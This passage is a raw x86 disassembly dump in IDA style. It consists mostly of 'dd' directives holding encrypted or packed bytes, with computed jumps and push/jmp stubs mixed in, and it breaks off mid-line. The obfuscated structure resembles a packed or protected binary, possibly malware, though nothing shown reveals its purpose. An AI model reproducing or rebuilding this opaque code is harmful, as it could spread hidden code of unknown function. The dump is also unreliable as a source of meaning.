[eax+617AF6Bh] add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 4705h dd 2D053B19h, 1F374148h, 47A537Fh, 17702136h, 60E93D9Dh dd 0A8FC4184h, 51FC48EEh, 33E91AB0h, 27000000h, 760510h dd 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh, 0FB75528Ch dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h dd 0 dd 70E90000h, 6800000Bh, 617B178h, 0FAD090E9h, 0B2C368FFh dd 86E90617h, 68FFFAD0h, 617B3DDh, 0FAD07CE9h, 0B4C568FFh dd 72E90617h, 68FFFAD0h, 617B577h, 0FAD068E9h, 0B66068FFh dd 5EE90617h, 68FFFAD0h, 617B6FEh, 0FAD054E9h, 0B91368FFh dd 4AE90617h, 68FFFAD0h, 617BA35h, 0FAD040E9h, 31DEB3FFh dd 0CE414BE4h, 6DA2E881h, 7088720h, 0A36C21BAh, 9F4F6656h dd 3BD421EEh, 0D972BF50h, 720B58B7h, 0CCA6F31Ch, 1012757Dh dd 94714DF7h, 0C0A5AEBEh, 1004F901h, 182349F7h, 4894259h dd 62977815h, 1CEF248Fh, 0F9167889h, 947B13ACh, 0E6C9D25Fh dd 603368A7h, 0AC2E36F5h, 1B500EBFh, 0B93A5110h, 0DEFB2CFBh dd 3243D6A1h, 30575F5Ch, 5347DFA8h, 9990DD48h, 24636B82h dd 5747DFA8h, 0A7EB9C4Ch, 8D9847DFh, 398ABD64h, 0D4679E4Dh dd 8544CBC3h, 194EC1CCh, 68A7E546h, 5A63F0D5h, 0DC95AC6Bh dd 69C95CB3h, 49F1C509h, 94AA2934h, 0BEEBAA5Fh, 9B25219h dd 97FA0000h, 0FA922B78h, 5B2FC815h, 0C1CE67B4h, 2568014Eh dd 8AD9DEAh, 1B68A7E6h, 0B9060982h, 529F7020h, 0ED3AD5B9h dd 0CBBCC413h, 0B84DF710h, 1C7205DBh, 99F5BEF3h, 1B322976h dd 0DF5F7413h, 69FC0747h, 0E7A68B94h, 0F18CAFDFh, 96CBD649h dd 0F18F0D7Eh, 17CAE64Dh, 0AECD1070h, 56C524h, 0AE170000h dd 0F901C0A5h, 49F17ECDh, 0B6D1D938h, 0C54DF180h, 0F31A4FBAh dd 80B3D4DCh, 0C5D04DF1h, 80B9D232h, 0FB3A4DF1h, 0B98D3D7Ah dd 9BFCEAB8h, 14E71CF3h, 0E3AC3581h, 0D7A01F62h, 0C3CA06F4h dd 0E14EE14Ch, 24AE53E1h, 927D10C9h, 7BB05F31h, 0FB1315A8h dd 65000000h, 0BEF31C72h, 0A6F1697h, 0A9C20B87h, 0C7A5E2EAh dd 0CBD647DFh, 0A9662738h, 0F8944D74h, 0C7CCBBC3h, 0A4AF47DFh dd 9E310439h, 0D90E018Dh, 44917E10h, 0DFC4365Ch, 0D9365847h dd 749BF38Ch, 0BCA9B23Fh, 0C64944FDh, 0CA88FF07h, 0F0FB47DFh dd 1ED7EE5Dh, 2CE3A871h, 90B98CC1h, 0B5DF6717h, 0C6CFFA6h dd 49F1ADCEh, 84E12E39h, 260FD87Bh, 0B767A9E7h, 0F16DD8AFh dd 35A0AB4Dh, 83030BCAh, 0F2500410h, 1E6F28E7h, 820BA4F1h dd 0A6020E8Dh, 8B30EDBEh, 867C4h, 2DE2AF00h, 0CA4547E0h dd 69A6E47Dh, 30C831Ch, 9F701DB6h, 9B536252h, 37D01DF2h dd 0D56EBB54h, 6E0754BBh, 0C8A2EF20h, 12167179h, 88654DF7h dd 0F41B72B2h, 71161E35h, 1247DF5Fh, 0A26BDE07h, 0F729BD8Bh dd 0C0CE6764h, 0B5D7904Fh, 0D3CAC75Ah, 689D721Ah, 2F4E3941h dd 222D47E0h, 34B18EB7h, 0F079C445h, 0FD142F5Dh, 16C64944h dd 47DF5F71h, 9F740712h, 0E8F0AF96h, 49F17EDEh, 0A8CE6029h dd 0B741FD28h, 8CFF174Ch, 674DF247h, 97EF964Bh, 4424AE16h dd 0C5h, 0F5FD1496h, 47DF5F92h, 15AD6228h, 2866770Ah, 91128E7h dd 47DF5F7Eh, 7A5FF2FDh, 0FE33DCB1h, 0DF5BACE6h, 53BCD247h dd 0F8216D06h, 0DC117C93h, 0F1969EB5h, 147DF62h, 98730083h dd 79841C32h, 190811E6h, 35AED95Ah, 0E37FD148h, 0D1060982h dd 0F4FC6BFEh, 49F186E6h, 0C69B6C1h, 485F1E03h, 2E31C8C7h dd 57EA20CAh, 4C89CF7h, 0BD7C8750h, 39868904h, 0A322EDA0h dd 0EDBE6BA1h, 4D450CB1h, 95000007h, 2DC613FCh, 0CA63B05Fh dd 69024FC0h, 39CE926h, 4838858Ah, 30C816Dh, 0A16E1DB6h dd 3AD5BB54h, 0D53A54EDh, 575FAE88h, 4DF71330h, 14A07653h dd 0D1292593h, 54E7EDCDh, 78C54A43h, 1360AFDFh, 0F31C725Dh dd 72151D34h, 1147DF5Fh, 28E7A506h, 0A7E7B095h, 58331B68h dd 9E47DF5Fh, 3D455C95h, 47DF5F4Ah, 97E2E39h, 7A47DF60h dd 0FB48FBB1h, 0BC27F88Dh, 398A9251h, 4A49F7AFh, 0B9D64349h dd 0C180EB56h, 53888708h, 8E63242Ch, 15204DF6h, 91A817AAh dd 8F15727Ah, 5B664DF6h, 38D7B7C8h, 0D33C52EBh, 92F5FD14h dd 0F14DF68Eh, 8EFD8A92h, 737E4DF6h, 69907508h, 0D132DDB0h dd 0E9BE51BEh, 1B32F1E0h, 0B2E72862h, 0EAEC4CDFh, 0A65008A4h dd 9900878Fh, 788347E4h, 13929DE5h, 0EDBD3C2Bh, 659B6207h dd 0AD000006h, 45DE2BE4h, 0E27BC847h, 811A67A8h, 1BB4010Eh dd 60509D72h, 1BF49955h, 0B95635CEh, 52BDD36Ch, 0ED226C05h dd 6F77C6A0h, 4DF71418h, 72B88E6Bh, 7B34F31Ch, 0F3C6FB14h dd 0DCB27B60h, 9B1FFE33h, 1CF39B46h, 0FEFADACFh, 72F22BCh dd 81000000h, 17B74h, 6823DE00h, 8E47DF5Fh, 0D9E1A085h dd 49F70FF9h, 0B0333CBDh, 77083DC3h, 4AD39CE4h, 0E50AAC10h dd 0C7803FAAh, 62FB48C7h, 21AEE32Ch, 536A2918h, 0EA53343Ch dd 25304DF6h, 0A43292h, 4A135009h, 6256B3A0h, 0A832949Fh dd 8CC85982h, 107B94F6h, 363826A5h, 751AEDBDh, 5B3AEh dd 7996FB00h, 16F9932Ch, 0B55A30C9h, 4FC0CF68h, 0EB246902h dd 0E707AE9Eh, 831C69A6h, 21BA0708h, 0BA53A06Fh, 14EE3BD4h dd 14CABDC5h, 0DCB94DF7h, 0F31C7206h, 8099F5BEh, 0FDD0050Ah dd 0F752D392h, 981AFFD9h, 4322079Ah, 0A7D859Ch, 7947DF9Eh dd 528FDB6Eh, 0CB18F797h, 0BCC0FED6h, 0E33DBE22h, 5AB5DB66h dd 0E96CCB31h, 75456h, 74A60000h, 0ACh, 305B14DEh, 6E774CDFh dd 3DC0C887h, 6A49F710h, 0D089A05Fh, 471A4FC0h, 24EBA3B4h dd 0D7E4AC65h, 0F70FB8CFh, 55C0CB4Dh, 622CC5C2h, 0E2EB78ADh dd 4A7F90FDh, 0CE030C81h, 662590FBh, 0EC07C5Eh, 40C6B50h dd 47DF5F83h, 0CB8AF500h, 46937C12h, 0F92EE1ADh, 0BF7E636Ch dd 0F17FBBB7h, 0D28BEA49h, 0E6A151BEh, 954DF17Eh, 0CCA01F8Ah dd 86EBAA1Ah, 4CA1AE1h, 7F120000h, 0E2AA4390h, 4347E02Dh dd 0A9E67FCCh, 0D801966h, 0F0C5B502h, 33808FFEh, 0D11EF19Ah dd 6AB75838h, 552BDD1h, 0B3D4DC2Bh, 0D04DF715h, 1F741DF3h dd 0DE000001h, 1C0A5AEh, 0F71004F9h, 59182349h, 0D421EEA0h dd 0A56A24DDh, 828D0112h, 0CAB7C04Dh, 0BFD7030Bh, 0BBC6500Eh dd 88287BFCh, 0D576DFCEh, 741AD342h, 0D9B54E9Bh, 6B740136h dd 800EC786h, 26875A8Fh, 0A514A768h, 186F778Eh, 6B47DF7Dh dd 0D15925A2h, 0F45FB055h, 0D6710161h, 919C49F1h, 0AA4D4812h dd 7E45EAEBh, 42Ch, 0A5F21D74h, 428F800Ch, 0E12EE1A9h dd 7BC84748h, 1764ABE2h, 2D608E27h, 8FFC95E2h, 0F69A3380h dd 5B33CC19h, 3E8D67B4h, 0F7155136h, 7F55324Dh, 0BEF31C72h dd 0F788097h, 6C47DF60h, 0D1BDCE61h, 4D40093Eh, 0C7C48DC2h dd 6AA5E748h, 40A18D35h, 41A0249Bh, 1AD3E8A6h, 9EE99976h dd 0DD47DF5Fh, 9BEDA9D2h, 0D985DB09h, 542C216Eh, 8122BCD2h dd 42h, 14737B92h, 6747DF99h, 149BC95Ch, 5F92F5FDh, 0E6F147DFh dd 90757E53h, 0AE37C9D1h, 0FF0A49F1h, 0C038740h, 0ADB7D7BFh dd 90A74DF1h, 0F1ADFF88h, 0DE717C4Dh, 14EC1CDh, 0B8ED2268h dd 377F1h, 1E725B00h, 15808FFBh, 8D00B9E0h, 8E8D68C4h dd 59C4AEF0h, 92F5FD24h, 0F147DFB4h, 0D7E87BE6h, 0E09958B7h dd 9B2C61AEh, 0D7A22D54h, 0DF72DD21h, 0CA4549E2h, 4DC2CC95h dd 0EAF20900h, 47E0279Dh, 27D8AFB7h, 0A0AB47E0h, 956AFD08h dd 0DEE6A58Ch, 49F254B0h, 540DCCD7h, 1018D738h, 4DF24677h dd 8166F904h, 0F2472269h, 2CB5D14Dh, 0AE056D65h, 51BA24h dd 0AE0C0000h, 0F901C0A5h, 49F17ECDh, 0BC533738h, 1449B487h dd 0F1808FFCh, 0AD622B4Dh, 33DCAF78h, 0B8CFD7FEh, 0CB4DF180h dd 1CC549C0h, 39FBBD09h, 27927C22h, 28A9C0FFh dd 0B43F1B3h, 8EF9A9D5h, 0ED4DF1DAh, 0DE034FE2h, 0AE852FA7h dd 0ECFC24h, 724E0000h, 0F5BEF31Ch, 37B87798h, 0B5DBCEE3h dd 5EDC315Ah, 3267A8E2h, 7C61F45Fh, 20EF9C55h, 748518EBh dd 0F7C0F51Ah, 432B7897h, 47DF604Fh, 0A9F61975h, 5C917E10h dd 20DFC6CFh, 9DEAF209h, 0DE47DF65h, 76E040D3h, 6149F15Eh dd 0AADF3060h, 0C21F6CD7h, 0A0450EB9h, 0DE853B1h, 0F1EE8205h dd 8BF6014Dh, 0C2596120h, 7A500492h, 0D42CDC1h, 545FA73Ah dd 0C7C57E95h, 0E9A4B548h, 4D40D926h, 8221666Eh, 36247E5h dd 0E5818CFBh, 79E4EF47h, 27C78F0Eh, 0C66BEDBEh, 217FFh dd 0DD325F00h, 7A95F790h, 19F6942Dh, 0B35C33CCh, 4FC0CD66h dd 4BA31202h, 0E780CD42h, 851E6BA4h, 1EB7040Bh, 78529F70h dd 18662129h, 38154DF7h, 0FE1B7262h, 0CB18838Ch, 0D2B5BDD4h dd 0B147DF5Fh, 0C42FE0B0h, 5F8AFD05h, 0EEF947DFh, 0CB444A5Bh dd 0A5AEC87Eh, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh, 484DF180h dd 5BDCB52Ch, 731B4CA3h, 6B94679Ch, 59829F32h, 0E4020BF4h dd 0D03DD0F3h, 24AE64F0h, 0D725h, 0FD147700h, 0DF5F92F5h dd 53E6F147h, 8EC34C42h, 8847C8C5h, 2B54BBCFh, 0F30CDDEAh dd 492EC184h, 0EA256922h, 869BF757h, 0CDC147DFh, 0EB6C8342h dd 483CF1BAh, 0CBBC6C59h, 0B847E05Eh, 841D1AADh, 43D0050Ah dd 0D53A553Ah, 89F41B74h, 949CB3CAh, 47E05EF3h, 92F28590h dd 49F257C4h, 0E4DB2833h, 7BB05F2Bh, 0F3727FA8h, 0DF19D584h dd 876E774Ch, 0C1FEC0C8h, 9EA95004h, 0A86726DFh, 0F1E3645Bh dd 517405AAh, 0FE3BF882h, 36A18813h, 1EFB92A3h, 0B736A16Eh dd 0EDBE2B11h, 0F5753CE1h, 3D000000h, 0D56EBB54h, 720B58B7h dd 11AAF718h, 0AB44917Eh, 0F0E02DE2h, 0AB6429C5h, 49C6C55Eh dd 0E22D63FCh, 7D92FC95h, 0FF075630h, 4DF71988h, 72481EFBh dd 0EA7F41Bh, 8C428F80h, 0BEF31C72h, 297699F5h, 1FDEC3CCh dd 1B0AA39Eh, 0FB77A06Fh, 0B726B9B2h, 0F76933AFh, 42778249h dd 0ADFA1579h, 60957A14h, 7ED4648h, 4A97ABDEh, 0D320EF9Fh dd 5F67543Ah, 0BDE4A528h, 7F17F892h, 1E98D8B6h, 87F2B5C2h dd 711EE71Ch, 15FA914Ah, 2A5D0DE0h, 59BDE4BCh, 0A3D83758h dd 0C5FA65D0h, 35B0311Dh, 2D5A6259h, 4EBDE4BCh, 99CE414Dh dd 0A3F05BC6h, 0AEDC95ACh, 0BBD6B161h, 9AA5BDE4h, 7798F607h dd 8C8DFFB8h, 0DA00B04h, 42480128h, 0A658500Fh, 4AB5A4FFh dd 0CB444C15h, 0C558C396h, 17B6h, 5B142000h, 0DBB2DB34h dd 323F1B12h, 5281E275h, 6827F299h, 7BA93CA7h, 0BBF01F72h dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 0E68956D4h, 4C681h dd 0EE810000h, 4, 5C243487h, 68243C89h, 66DAh, 68241C89h dd 0ABFh, 56243489h, 0CB5BA52h, 74BE7CC6h, 2982DDBDh, 0F3895AD6h dd 1A1B685Eh, 24890000h, 24048124h, 4, 25C6685Eh, 1C890000h dd 242C8124h, 81D4216h, 8108468Fh, 42160846h, 34FF081Dh dd 0C4815E24h, 4, 5B2434FFh, 0E904C483h, 0FFFAC539h, 0B4F3B093h dd 704D50CAh, 7DC65942h, 0B8ACD548h, 617BB4Fh, 0E0FFC503h dd 874F23Ah, 79E3882Fh, 39D62C4Ah, 2A8DDC0Bh, 2969A2D8h dd 7E87F938h, 55D4A041h, 6D53F7ABh, 5631114Bh, 3340BA80h dd 49DB4FF6h, 3071104Bh, 53B2576Dh, 7FE93555h, 5A2DB6AEh dd 45EAD95Ah, 0DA7AAADh, 4CA5E7C7h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8195BCC3h dd 77682CD2h, 1BD8343h, 6122Fh, 0BD830975h, 6122149h, 50197400h dd 0B8C08B53h, 3FCh, 0B358589h, 9D8D0612h, 614AD09h, 585BD3FFh dd 2149BD83h, 74000612h, 0B8535017h, 3FCh, 0B358589h, 9D8D0612h dd 614A9F8h, 585BD3FFh, 1C47CB81h, 0BF0F72DBh, 0BBC08BD6h dd 59560D09h, 7F8FC281h, 0BD83557Bh, 6120EE9h, 8B840F01h dd 0E8000000h, 0Ah, 0DAACCEFBh, 0EA4C2B42h, 0E9500F6Ch dd 0Dh, 0FBE44775h, 53B45A6Fh, 2417C33Eh, 805A5B81h, 0BD83A5E2h dd 6122165h, 57850F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5C8BC352h dd 5ECB640h, 0CB815208h, 36F16F06h, 2EEDBD83h, 0F000612h dd 3D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 18C82192h, 9AE9EC05h, 0F000003h dd 588h, 9503BA00h, 2EF3h, 8B660000h, 0D28166D0h, 0B590EFBDh dd 6997DADh, 0E810C06Bh, 0A3C002h, 5F129F21h, 4CCBC88h dd 4508480h, 3AC01Ch, 31DE9746h, 0C52FF783h, 0EE97AC64h dd 0D8264DC7h, 0FD7D54Dh, 0E8C48Bh, 0D2CEA601h, 0BBEA3F27h dd 63D5BFAEh, 8BC1E8h, 0B7947B01h, 0E8F6A065h, 0D1C001h dd 0B205415Ch, 6A72D7BCh, 3D29701h, 201DC001h, 89D1035Eh dd 8143E47Dh, 1DA7E445h, 47D1C001h, 0C78F0356h, 0AD9061F5h dd 7C5CE3A0h, 1DCCE9h, 5E688701h, 5B86C9A5h, 20E78429h dd 69387A53h, 0BAB3AA41h, 43832FBCh, 815C008Ah, 9021CFEBh dd 50574B67h, 0D1CCA656h, 0C9505Bh, 0D22852h, 5BC8C001h dd 5CFD9BC2h, 44BBC425h, 0AC425h, 53CDC001h, 0AE12ADC2h dd 329CF5Bh, 80D1C001h, 1E7EACAh, 6A8AE44Dh, 3D29601h dd 201DC001h, 89D0035Fh, 8143E475h, 18A7E445h, 46D1C001h dd 7D660357h, 81580141h, 0DE80AFDAh, 0F39D9868h, 55772C6h dd 47C20Dh, 0E8F2C06Bh, 0D1C002h, 592B9921h, 4508C88h dd 41E8480h, 1DC017h, 4C4D9140h, 0B3BBC17Ah, 66AB4BE8h dd 57791380h, 663E7F0Eh, 0FC88888Ah, 3AC1B9h, 50C74B01h dd 0D005A652h, 244B495Bh, 0E8F2C06Bh, 0D1C002h, 592B9921h dd 4508C88h, 41E8480h, 1DC015h, 934D9140h, 47C5E9h, 4D58D201h dd 81B7CC78h, 5BA89EE3h, 58A51A80h, 8C5C898Ah, 511DAAD8h dd 8EC3E9h, 0C31EE001h, 24EF4958h, 24954105h, 0E8DB05h dd 0C3258101h, 87242067h, 0EA8B3A6Dh, 8EC6E9h, 0B3145701h dd 0E9A20871h, 0D1C008h, 0C2C58970h, 16D9C343h, 0C1CC9B74h dd 298CF05h, 6A8EC000h, 3AF9301h, 20A3C001h, 898A035Ah dd 81ECE45Dh, 1B70E445h, 433AC001h, 5380352h, 0F4854616h dd 8121E844h, 59131AC2h, 0D04C0Eh, 8011C001h, 857BA838h dd 3AC15Fh, 0A336B5BAh, 1F74B0Ch, 44480Eh, 0D223C001h dd 2E41D0h, 0F68C001h, 758183h, 3680A601h, 549807AFh, 188D7BCh dd 6A47C001h, 34B9001h, 20D1C001h, 89B00359h, 8170E445h dd 1D3EE445h, 401DC001h, 54330351h, 3B6A38C0h, 928D8A39h dd 6E334167h, 1C329D7h, 1EC001h, 392856h, 5F3DC001h, 7C079FC2h dd 44C6C425h, 0B8C425h, 5796C001h, 0BED96BC2h, 5320B761h dd 0E629DFh, 77C001h, 8D2852h, 5B67C001h, 5C2A9BC2h, 4450C425h dd 0F2C425h, 5337C001h, 60587CC2h, 9F0721EAh, 8ED0E9h dd 354D2101h, 13546E29h, 48EBE47Bh, 0ACB843B9h, 7C29F5h dd 0F026C001h, 0D5F5688Ch, 51D4FECDh, 2D995Bh, 0A02852h dd 5BF1C001h, 5C619BC2h, 44F5C425h, 2FC425h, 535EC001h dd 8BCEE3C2h, 0D1FCA6DEh, 7920A6F0h, 84DE3F0Ah, 0E8C067h dd 0E824C06Bh, 3AC002h dd 58DE9821h, 4AA8488h, 4638480h, 0A3C01Ah, 0A5129041h dd 0ECD58572h, 60B0C2DBh, 0B6669ABBh, 0F39CA175h, 14669241h dd 0CAE3561h, 8FA3C001h, 359CBFBBh, 96545450h, 61C99B95h dd 0BD6E45C6h, 1CC616h, 1367C001h, 0AD47C001h, 0F0FD9E2h dd 0DD9D1499h, 4933512Ah, 60078AE6h, 0E9720A93h, 1DC015h dd 0CDF9D8Ch, 78689880h, 9FBB8228h, 7510DBCEh, 0F4E50727h dd 5FCCF51h, 0BA3AC001h, 6575BD6Ah, 74D4795Ah, 85CABBB0h dd 6B402F6h, 0C02E7D8Ch, 0F8D3C616h, 0F44C775h, 0EB7D09D0h dd 571DAAF4h, 8EC3E9h, 0C318E001h, 24DF495Eh, 24954105h dd 0E8DD05h, 0C3238701h, 0FDBBEB6Ch, 4D49D9BAh, 0CE0E23ADh dd 4F299Eh, 4B7C001h, 39E9A058h, 0E988BD69h, 74C013h, 0CE3DAED0h dd 2CEEE841h, 2FC29E7Fh, 860BC70Dh, 60103AA3h, 0E96C4360h dd 1EED20Fh, 25440Eh, 0C2BAC001h, 65A04302h, 88D220h, 6450Eh dd 0C9C001h, 0D22854h, 5DC8C001h, 6CFD9DC2h, 44BBC425h dd 6C425h, 55CBC001h, 0D6065DC2h, 53807CEEh, 152CFFEh dd 0FCE8C001h, 2E997D82h, 0F3AC613h, 1DEC85h, 0E56C4101h dd 66691E78h, 0E90380BAh, 0D1C0F7h, 0E8BDC06Bh, 74C002h dd 5DF99D21h, 439AC88h, 4AA8480h, 47C014h, 63609544h, 0E96C432Ch dd 1EED20Fh, 0E450Eh, 50C001h, 1E2852h, 5BAEC001h, 5CCE9BC2h dd 4422C425h, 0CDC425h, 53ABC001h, 2C1E35C2h, 0B796A126h dd 8B7B8AE9h, 0E9D335D8h, 47C00Bh, 0D9CF7C6Bh, 0D78D10ABh dd 0C768DD4Ch, 139C03D2h, 5D3AC001h, 9A986F65h, 0C8927B6Bh dd 7F46FF0Ch, 11AED28Bh, 1139947Ah, 5E8C001h, 3A80A99h dd 41685E26h, 260703Ch, 39C705BCh, 5EA41A80h, 5AF9F46Eh dd 0D195E8h, 0D063A601h, 5774AA5Ch, 3AC3E9h, 0C342E001h dd 24F2495Eh, 24034105h, 0A3DB05h, 0C3868701h, 997A6928h dd 0CC109C8Eh, 573AAACEh, 1DC3E9h, 0C3D1E001h, 243B495Eh dd 24E74105h, 0D1DA05h, 0C3BF8701h, 6844C44Ch, 666E943Bh dd 8D121A8Ah, 8EC003h, 0BDCA1F8Ah, 6B47D61h, 0C2154D8Ch dd 1D50C616h, 330FFA5Dh, 121E6584h, 0C1D2EB07h, 0D479C2E8h dd 0CABBB074h, 0B402F685h, 2E7D8C06h, 0D3C616C0h, 44C775F8h dd 0E983D00Fh, 83A4F305h, 17BD54BDh, 0D740006h, 4E4B8D8Dh dd 1B80612h, 0FF000000h, 92B340E1h, 6A01CF80h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 8E26C351h, 92AA9399h, 5BF8535Ch, 0E82DE883h, 0Eh, 0E9228C8Ah dd 69C868BEh, 512467EAh, 8B663A55h, 0C08B5AD7h, 2244BA66h dd 2F01BD83h, 75000612h, 49BD8309h, 61221h, 53501974h dd 0FCB8C08Bh, 89000003h, 1202B985h, 709D8D06h, 0FF0614ADh dd 83585BD3h, 122149BDh, 17740006h, 0FCB85350h, 89000003h dd 1202B985h, 119D8D06h, 0FF0614AAh, 6A585BD3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0DB1DC357h, 0BCF261B5h, 8B0C10D4h, 0E95350D1h, 9, 4DF8613Bh dd 783BD88h, 6A5A5B0Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 9F21C351h, 9B3D5A9Eh dd 0F948318Dh, 66D68B66h, 0F5E56BAh, 289h, 8B16B600h, 12E8C0h dd 317C0000h, 378B929h, 44D9FEA3h, 85C9B6A7h, 9A5C2534h dd 5978D380h, 0FE9h, 90990D00h, 0C8A7364Ah, 3F1C202Eh dd 324A4446h, 60E7C181h, 66600000h, 8B66DF8Bh, 0FFBE61D8h dd 0E8000017h, 14h, 0F7E2F432h, 6FFD4DB7h, 0D189226Ch dd 0A1F224B2h, 5CBCBA7Ah, 5BD88B66h, 7BB7398Bh, 7A35EF81h dd 665346ABh, 1DB3D881h, 20F7815Bh, 0E80D8A98h, 0Ah, 5B07F1F8h dd 0FE91A466h, 0CA8086BFh, 0C7815B28h, 3FB2C45Dh, 0EF574DBAh dd 0F39894Ch, 0E981DFBFh, 24DEB881h, 219EA81h, 0C181434Fh dd 24DEB87Dh, 2FBF6660h, 61CA8B7Fh, 0F01EE83h, 1485h, 32E9F800h dd 16000000h, 11784779h, 42EA02B8h, 469CB89Bh, 0C8E0F6Bh dd 0F000000h, 68Dh, 8E0F00h, 0E9000000h, 0FFFFFF78h, 0F8299E0Ch dd 39361445h, 0E26EA8Eh, 31E9ABh, 76F20000h, 4FE9h, 0Ah dup(0) dd 0E9000000h, 0C7Dh, 17C6AB68h, 826CE906h, 9868FFFBh dd 0E90617C7h, 0FFFB8262h, 17C98068h, 8258E906h, 0A768FFFBh dd 0E90617CAh, 0FFFB824Eh, 17CD9B68h, 8244E906h, 2168FFFBh dd 0E90617CFh, 0FFFB823Ah, 17D01D68h, 8230E906h, 28A5FFFBh dd 60E48AD0h, 9E1EC40Ah, 0DD5C0248h, 1A9B4187h, 683A78BEh dd 3177D152h, 6AB0088Bh, 0A6EC42C4h, 0DE248200h, 0CD71BA7h dd 0CE21F7F7h, 97154C7Dh, 12BC1D41h, 1108C49Bh, 0A1FC14CEh dd 2E801598h, 0E02E19EAh, 2577E127h, 2E36BD01h, 4AB427E0h dd 0E96775E8h, 7E2B498Fh, 0AD4183Ch, 0C821F201h, 905FCB5Eh dd 70DE0DDFh, 0F16D19DEh, 0CD5AF809h, 3Dh, 0B60C9D34h dd 28AC92h, 0E03237BCh, 0F749B327h, 6A899264h, 5910F4EEh dd 53979BFDh, 21F251CDh, 1B01258Fh, 0DCAE4197h, 4C9B077Ah dd 0ACDE0E12h, 25A1551Ah, 15AF7DBh, 0D4h, 5971568h, 0B8DC2E86h dd 0B9E5E357h, 0F83C2F89h, 27E063EBh, 0D13385EFh, 3DCF505Eh dd 811466BEh, 0D757F573h, 0CA1CEE81h, 4DAB2937h, 66C24329h dd 0E8DADE04h, 6927E067h, 83698DEBh, 1C42A404h, 0B9EF876h dd 7A9E2485h, 0F2759C36h, 0AEF45E21h, 8DD11990h, 0DE0E7346h dd 0A4C81A84h, 80E23CBEh, 0DEA6387Ch, 0CA34D81Ah, 0E93FC0A6h dd 0E87CFDA3h, 0EBF83C64h, 0EFD439A6h, 0CEA03385h, 50BB237Ch dd 2E31F5AEh, 0A7641h, 8BED6A00h, 0C51B9F45h, 0FB59D97Fh dd 38900FB5h, 75CB4CF2h, 0DB1F12Fh, 48EE348Ch, 83296FC5h dd 0BB61A701h, 5E95DB3Dh, 0F4458ED2h, 348521F7h, 3C941503h dd 87AF3218h, 0E032B043h, 7ED03A27h, 0D250F61Ch, 0CF22E74h dd 0F2D3358Bh, 92B60C9Dh, 0F213C84Eh, 8D208A21h, 0DECD621h dd 0DFA032DEh, 0F81CAF2Bh, 0BD8B5Ah, 15F20000h, 0A0AE4197h dd 0A229121Fh, 0B938245h, 0C8BA26B9h, 0B327E0C5h, 4DACB152h dd 9A1856CBh, 85D7A93Ch, 0E137B523h, 0BF55D7BDh, 396E840h dd 3A9CF31h, 0A902385h, 7DF91D9Fh, 0E007AA39h, 0BDC63027h dd 257F40E9h, 8C90F29Dh, 0F2C68A48h, 0C0067021h, 91B507A2h dd 1A687A4Dh, 109238D8h, 0B1A4ADB6h, 358DE0FAh, 58D9BFE3h dd 1D7EBA00h, 0F9CC319Ah, 74E244FBh, 8E449DF3h, 10F5AD25h dd 989200Dh, 7D0000h, 38BC62A8h, 76F69CE2h, 0B534DA20h dd 0F273195Fh, 90125096h, 94FA92Ah, 4288E063h, 7EC41A9Ch dd 0B6FC5AD8h, 24AFF37Fh, 0A621F7F5h, 94152455h, 0D250F63Ch dd 15152E74h, 0A0AE4197h, 607EC422h, 694F7349h, 29FB8EE6h dd 6147C3C7h, 77F583E1h, 5ABC8E21h, 0F216E48Eh, 2CE64721h dd 4093D793h, 8ADE0D3Ah, 0F7251720h, 8AABD032h, 68A99ED5h dd 0D533B19Eh, 909E3183h, 9FF57812h, 0C343294Dh, 37DD0365h dd 553B5FB9h, 0A91C7ED6h, 89EF983Dh, 9F00744Dh, 5C310A7Bh dd 2FE0E9FCh, 8995FF31h, 21062082h, 256BCD4Bh, 0DA296DE9h dd 204189C0h, 68E654B6h, 0FCEA2657h, 0F865ECF1h, 8F27BE38h dd 3BCE2072h, 892001CFh, 0A689AB41h, 2EB04AC8h, 76C81E9Ch dd 79BF11E3h, 5ADBC13Dh, 0AD996BFEh, 41892026h, 6AD83AA4h dd 8BF78AECh, 0BE76DF87h, 13E9CED0h, 147B7C95h, 31FBA4EBh dd 34C721A3h, 24CA1062h, 49614A6h, 0CA9C2F85h, 0C113E578h dd 25A48A2Eh, 86A3CCFh, 11358722h, 6B825195h, 0DE484189h dd 9234787Ch, 60479B71h, 1792B0F6h, 5B3D81A5h, 3A41A502h dd 1D697ABEh, 7717DA5h, 831680A5h, 1E76F9DFh, 1DE6F0BCh dd 70027DA5h, 0C77FFB8Fh, 0ED5BFAA0h, 0C2000004h, 0A9D5ADh dd 325FA4E8h, 319B27E0h, 6D5ABBDFh, 0F8DD317Ah, 8804086Ah dd 36C91FA2h, 68360264h, 0EA21F2BCh, 47294580h, 0D602C166h dd 0FE1B5875h, 56787BAh, 14388A1Fh, 0EC1886D0h, 0FD7F653Ch dd 3B8DE367h, 4F74D6A8h, 32AE52E5h, 346C5AD1h, 6854AD39h dd 30EBE39Bh, 8DD1F55Fh, 30EBE246h, 0D2B81A84h, 0CA2AA9D7h dd 8F105478h, 4B36F9D9h, 53D7BDE1h, 0B1979BFDh, 0E98FD533h dd 28B40D6Bh, 0AA168E51h, 7A1BAA7h, 18950000h, 50D47AC0h dd 8E0EB4FAh, 0CD4CF238h, 0A8B3177h, 782A68AEh, 2167C142h dd 5AA0F87Bh, 96DC32B4h, 0CE1472F0h, 3CC70B97h, 0BE21F7FBh dd 97153C6Dh, 0BDBC1D41h, 0A3893118h, 0BBC93C9Eh, 1297DD3Bh dd 111h, 0B70D9D49h, 0A5B52DABh, 0DF40D49Bh, 55327A7Ch dd 5A7EE0B5h, 54E50EDEh, 0A1BCh, 0D9D2300h, 0D63293B7h dd 0D547ACFDh, 24686CCEh, 27E0F5DAh, 0D1BAE18h, 9A9A828Fh dd 6E77D153h, 